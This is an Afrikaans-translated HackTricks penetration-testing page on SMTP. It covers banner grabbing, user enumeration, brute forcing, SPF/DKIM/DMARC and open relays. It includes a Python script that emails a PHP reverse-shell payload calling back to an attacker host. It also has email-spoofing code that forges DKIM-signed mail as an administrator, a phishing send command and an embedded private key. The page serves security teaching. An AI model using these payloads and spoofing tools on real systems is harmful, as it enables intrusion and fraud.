hacktricks/network-services-pentesting/pentesting-smtp
2024-08-04 15:19:32 +00:00
..
README.md Translated ['network-services-pentesting/512-pentesting-rexec.md', 'netw 2024-08-04 15:19:32 +00:00
smtp-commands.md Translated ['network-services-pentesting/512-pentesting-rexec.md', 'netw 2024-08-04 15:19:32 +00:00
smtp-smuggling.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 11:40:15 +00:00

25,465,587 - Pentesting SMTP/s

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & penetrasietoetsing. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Basiese Inligting

Die Simple Mail Transfer Protocol (SMTP) is 'n protokol wat binne die TCP/IP suite gebruik word vir die verstuur en ontvang van e-pos. Vanweë sy beperkings in die opstel van boodskappe aan die ontvanger se kant, word SMTP dikwels saam met POP3 of IMAP gebruik. Hierdie bykomende protokolle stel gebruikers in staat om boodskappe op 'n bediener se posbus te stoor en om dit periodiek af te laai.

In praktyk is dit algemeen dat e-posprogramme SMTP gebruik om e-posse te stuur, terwyl POP3 of IMAP gebruik word om dit te ontvang. Op stelsels wat op Unix gebaseer is, is sendmail die SMTP-bediener wat die meeste gebruik word vir e-posdoeleindes. Die kommersiële pakket bekend as Sendmail sluit 'n POP3-bediener in. Verder bied Microsoft Exchange 'n SMTP-bediener en bied die opsie om POP3-ondersteuning in te sluit.

Standaard poort: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

EMAIL Headers

As jy die geleentheid het om die slagoffer 'n e-pos te laat stuur (via kontakvorm van die webblad byvoorbeeld), doen dit omdat jy oor die interne topologie van die slagoffer kan leer deur die koptekste van die e-pos te sien.

Jy kan ook 'n e-pos van 'n SMTP-bediener kry deur te probeer 'n e-pos na daardie bediener te stuur na 'n nie-bestaande adres (omdat die bediener 'n NDN-e-pos aan die aanvaller sal stuur). Maar, maak seker dat jy die e-pos van 'n toegelate adres stuur (kontroleer die SPF-beleid) en dat jy NDN-boodskappe kan ontvang.

Jy moet ook probeer om verskillende inhoud te stuur omdat jy meer interessante inligting op die koptekste kan vind soos: X-Virus-Scanned: by av.domain.com
Jy moet die EICAR-toetslêer stuur.
Die opsporing van die AV mag jou in staat stel om bekende kwesbaarhede te benut.

Basic actions

Banner Grabbing/Basic connection

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Vind MX-bedieners van 'n organisasie

dig +short mx google.com

Opname

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Inligting openbaarmaking

As die bediener NTLM-authentikasie (Windows) ondersteun, kan jy sensitiewe inligting (weergawe) verkry. Meer inligting hier.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Of automate dit met nmap plugin smtp-ntlm-info.nse

Interne bediener naam - Inligting openbaar

Sommige SMTP bedieners voltooi outomaties 'n sender se adres wanneer die opdrag "MAIL FROM" gegee word sonder 'n volledige adres, wat sy interne naam openbaar:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Kontroleer of jy 'n wagwoord uit die pakkette na poort 25 kan snuffel

Auth bruteforce

Gebruikersnaam Bruteforce Enumerasie

Outentisering is nie altyd nodig nie

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Outomatiese gereedskap

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksplorasie modules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

DSN Verslae

Afleweringsstatuskennisgewing Verslae: As jy 'n e-pos na 'n organisasie stuur na 'n ongeldige adres, sal die organisasie jou in kennis stel dat die adres ongeldig was deur 'n pos terug na jou te stuur. Koptekste van die teruggestuurde e-pos sal bevat moontlike sensitiewe inligting (soos IP-adres van die posdienste wat met die verslae geinteraksie het of anti-virus sagteware inligting).

Opdragte

Stuur 'n E-pos vanaf linux konsole

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Stuur 'n E-pos met Python

Python kode hier ```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys

lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587

create message object instance

msg = MIMEMultipart()

setup the parameters of the message

password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!"

payload

message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250: print("[-]Connection Error") exit()

server.starttls()

Uncomment if log-in with authencation

server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

</details>

## SMTP Smuggling

SMTP Smuggling kwesbaarheid het toegelaat om al die SMTP beskermings te omseil (kyk die volgende afdeling vir meer inligting oor beskermings).  Vir meer inligting oor SMTP Smuggling kyk:

{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
{% endcontent-ref %}

## Mail Spoofing Teenmaatreëls

Organisasies word verhinder om ongeoorloofde e-pos namens hulle te laat stuur deur **SPF**, **DKIM**, en **DMARC** te gebruik weens die maklikheid van die vervalsing van SMTP-boodskappe.

'n **volledige gids tot hierdie teenmaatreëls** is beskikbaar by [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).

### SPF

{% hint style="danger" %}
SPF [is "verouderd" in 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Dit beteken dat jy in plaas daarvan om 'n **TXT rekord** in `_spf.domain.com` te skep, dit in `domain.com` moet skep met die **dieselfde sintaksis**.\
Boonop, om vorige spf rekords te hergebruik, is dit redelik algemeen om iets soos `"v=spf1 include:_spf.google.com ~all"` te vind.
{% endhint %}

**Sender Policy Framework** (SPF) is 'n mechanisme wat Mail Transfer Agents (MTAs) in staat stel om te verifieer of 'n gasheer wat 'n e-pos stuur, geautoriseer is deur 'n lys van geautoriseerde e-pos bedieners wat deur die organisasies gedefinieer is, te vra. Hierdie lys, wat IP adresse/reekse, domeine, en ander entiteite **geautoriseer om e-pos namens 'n domeinnaam te stuur**, sluit verskeie "**Meganismes**" in die SPF rekord in.

#### Meganismes

Van [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):

| Meganisme | Beskrywing                                                                                                                                                                                                                                                                                                                         |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | Pas altyd toe; gebruik vir 'n standaard resultaat soos `-all` vir alle IP's wat nie deur vorige meganismes pas nie.                                                                                                                                                                                                                                  |
| A         | As die domeinnaam 'n adres rekord (A of AAAA) het wat na die sender se adres opgelos kan word, sal dit pas.                                                                                                                                                                                                                   |
| IP4       | As die sender in 'n gegewe IPv4 adres reeks is, pas.                                                                                                                                                                                                                                                                              |
| IP6       | As die sender in 'n gegewe IPv6 adres reeks is, pas.                                                                                                                                                                                                                                                                              |
| MX        | As die domeinnaam 'n MX rekord het wat na die sender se adres oplos, sal dit pas (d.w.s. die e-pos kom van een van die domein se inkomende e-pos bedieners).                                                                                                                                                                          |
| PTR       | As die domeinnaam (PTR rekord) vir die kliënt se adres in die gegewe domein is en daardie domeinnaam na die kliënt se adres oplos (voorwaarts-bevestigde omgekeerde DNS), pas. Hierdie mechanisme word ontmoedig en moet vermy word, indien moontlik.                                                                                     |
| EXISTS    | As die gegewe domeinnaam na enige adres oplos, pas (maak nie saak na watter adres dit oplos nie). Dit word selde gebruik. Saam met die SPF makro-taal bied dit meer komplekse pasvorms soos DNSBL-vrae.                                                                                                                           |
| INCLUDE   | Verwys na die beleid van 'n ander domein. As daardie domein se beleid slaag, slaag hierdie mechanisme. As die ingeslote beleid egter misluk, gaan verwerking voort. Om heeltemal aan 'n ander domein se beleid te delegeer, moet die herlei uitbreiding gebruik word.                                                                                     |
| REDIRECT  | <p>n Herlei is 'n aanduiding na 'n ander domeinnaam wat 'n SPF beleid huisves, dit stel verskeie domeine in staat om dieselfde SPF beleid te deel. Dit is nuttig wanneer daar met 'n groot aantal domeine gewerk word wat dieselfde e-pos infrastruktuur deel.</p><p>Die SPF beleid van die domein aangedui in die herlei Meganisme sal gebruik word.</p> |

Dit is ook moontlik om **Kwalifiseerders** te identifiseer wat aandui **wat gedoen moet word as 'n meganisme pas**. Standaard word die **kwalifiseerder "+"** gebruik (so as enige meganisme pas, beteken dit dit is toegelaat).\
Jy sal gewoonlik **aan die einde van elke SPF beleid** iets soos: **\~all** of **-all** opgemerk. Dit word gebruik om aan te dui dat **as die sender nie aan enige SPF beleid voldoen nie, jy die e-pos as onbetroubaar (\~) moet merk of die e-pos moet verwerp (-).**

#### Kwalifiseerders

Elke meganisme binne die beleid kan voorafgegaan word deur een van vier kwalifiseerders om die beoogde resultaat te definieer:

* **`+`**: Kom ooreen met 'n PASS resultaat. Standaard neem meganismes hierdie kwalifiseerder aan, wat `+mx` gelyk is aan `mx`.
* **`?`**: Verteenwoordig 'n NEUTRALE resultaat, wat soortgelyk behandel word aan NONE (geen spesifieke beleid).
* **`~`**: Dui SOFTFAIL aan, wat as 'n middelgrond tussen NEUTRAAL en FAIL dien. E-posse wat aan hierdie resultaat voldoen, word gewoonlik aanvaar maar ooreenkomstig gemerk.
* **`-`**: Dui FAIL aan, wat suggereer dat die e-pos heeltemal verwerp moet word.

In die komende voorbeeld word die **SPF beleid van google.com** geïllustreer. Let op die insluiting van SPF beleide van verskillende domeine binne die eerste SPF beleid:
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Tradisioneel was dit moontlik om enige domeinnaam te spoof wat nie 'n korrekte/enige SPF rekord gehad het nie. Tans, as e-pos van 'n domein sonder 'n geldige SPF rekord kom, gaan dit waarskynlik automaties verwerp/merk as onbetroubaar.

Om die SPF van 'n domein te kontroleer, kan jy aanlyn gereedskap soos: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM word gebruik om uitgaande e-posse te teken, wat hul validasie deur eksterne Mail Transfer Agents (MTAs) moontlik maak deur die domein se publieke sleutel van DNS te verkry. Hierdie publieke sleutel is geleë in 'n domein se TXT rekord. Om toegang tot hierdie sleutel te verkry, moet 'n mens beide die selektor en die domeinnaam weet.

Byvoorbeeld, om die sleutel aan te vra, is die domeinnaam en selektor noodsaaklik. Hierdie kan in die e-pos kop DKIM-Signature gevind word, bv. d=gmail.com;s=20120113.

'n Opdrag om hierdie inligting te verkry kan soos volg lyk:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC verbeter e-pos sekuriteit deur op SPF en DKIM protokolle te bou. Dit skets beleide wat posbedieners lei in die hantering van e-posse van 'n spesifieke domein, insluitend hoe om met outentikasiefoute om te gaan en waar om verslae oor e-posverwerkingsaksies te stuur.

Om die DMARC rekord te verkry, moet jy die subdomein _dmarc navraag doen

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARC-tags

Tag Naam Doel Voorbeeld
v Protokol weergawe v=DMARC1
pct Persentasie van boodskappe wat aan filtrering onderwerp word pct=20
ruf Verslag URI vir forensiese verslae ruf=mailto:authfail@example.com
rua Verslag URI van aggregaatverslae rua=mailto:aggrep@example.com
p Beleid vir organisatoriese domein p=quarantine
sp Beleid vir subdomeine van die OD sp=reject
adkim Uitlijning modus vir DKIM adkim=s
aspf Uitlijning modus vir SPF aspf=r

Wat van Subdomeine?

Van hier.
Jy moet aparte SPF-rekords hê vir elke subdomein waarvan jy e-pos wil stuur.
Die volgende is oorspronklik op openspf.org gepos, wat vroeër 'n uitstekende hulpbron vir hierdie soort dinge was.

Die Demon Vraag: Wat van subdomeine?

As ek e-pos van pielovers.demon.co.uk ontvang, en daar is geen SPF-data vir pielovers nie, moet ek dan een vlak teruggaan en SPF vir demon.co.uk toets? Nee. Elke subdomein by Demon is 'n ander kliënt, en elke kliënt mag hul eie beleid hê. Dit sou nie sin maak dat Demon's beleid op al sy kliënte standaard van toepassing is nie; as Demon dit wil doen, kan dit SPF-rekords vir elke subdomein opstel.

So die advies aan SPF-uitgewers is die volgende: jy moet 'n SPF-rekord vir elke subdomein of gasheernaam wat 'n A of MX-rekord het, byvoeg.

Webwerwe met wildcard A of MX-rekords moet ook 'n wildcard SPF-rekord hê, van die vorm: * IN TXT "v=spf1 -all"

Dit maak sin - 'n subdomein mag baie goed in 'n ander geografiese ligging wees en 'n baie ander SPF-definisie hê.

Open Relay

Wanneer e-posse gestuur word, is dit van kardinale belang om te verseker dat hulle nie as spam gemerk word nie. Dit word dikwels bereik deur die gebruik van 'n relay-server wat deur die ontvanger vertrou word. 'n Algemene uitdaging is egter dat administrateurs dalk nie ten volle bewus is van watter IP-reekse veilig is om toe te laat nie. Hierdie gebrek aan begrip kan lei tot foute in die opstelling van die SMTP-server, 'n risiko wat gereeld in sekuriteitsassesseringe geïdentifiseer word.

'n Oplossing wat sommige administrateurs gebruik om e-posafleweringsprobleme te vermy, veral rakende kommunikasie met potensiële of lopende kliënte, is om verbindinge van enige IP-adres toe te laat. Dit word gedoen deur die SMTP-server se mynetworks-parameter te konfigureer om alle IP-adresse te aanvaar, soos hieronder getoon:

mynetworks = 0.0.0.0/0

Om te kontroleer of 'n e-posbediener 'n oop relais is (wat beteken dit kan e-pos van enige eksterne bron deurstuur), word die nmap-instrument algemeen gebruik. Dit sluit 'n spesifieke skrip in wat ontwerp is om dit te toets. Die opdrag om 'n gedetailleerde skandering op 'n bediener (byvoorbeeld, met IP 10.10.10.10) op poort 25 met behulp van nmap uit te voer, is:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Gereedskap

Stuur Vals E-pos

Of jy kan 'n gereedskap gebruik:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} As jy enige fout kry met die dkim python lib wat die sleutel ontleed, voel vry om hierdie een te gebruik.
LET WEL: Dit is net 'n vuil oplossing om vinnige kontroles te doen in gevalle waar die openssl private sleutel nie deur dkim ontleed kan word nie.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

{% endhint %}

Of jy kan dit handmatig doen:

{% tabs %} {% tab title="PHP" %}

# Dit sal 'n ongetekende boodskap stuur
mail("your_email@gmail.com", "Toets Onderwerp!", "hey! Dit is 'n toets", "Van: administrator@victim.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

Meer inligting

Vind meer inligting oor hierdie beskermings in https://seanthegeek.net/459/demystifying-dmarc/

Ander phishing-aanwysers

  • Domein se ouderdom
  • Skakels wat na IP-adresse wys
  • Skakel manipulasietegnieke
  • Verdagte (ongewone) aanhangsels
  • Gebroke e-posinhoud
  • Waardes wat gebruik word wat verskil van die e-poskoppe
  • Bestaans van 'n geldige en vertroude SSL-sertifikaat
  • Indiening van die bladsy aan webinhoudfiltering webwerwe

Eksfiltrasie deur SMTP

As jy data via SMTP kan stuur lees dit.

Konfigurasie lêer

Postfix

Gewoonlik, as dit geïnstalleer is, in /etc/postfix/master.cf bevat scripts om uit te voer wanneer byvoorbeeld 'n nuwe e-pos deur 'n gebruiker ontvang word. Byvoorbeeld, die lyn flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} beteken dat /etc/postfix/filtering uitgevoer sal word as 'n nuwe e-pos deur die gebruiker mark ontvang word.

Ander konfigurasie lêers:

sendmail.cf
submit.cf

Verwysings

HackTricks Outomatiese Opdragte

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Dadelijk beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksplorasie modules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}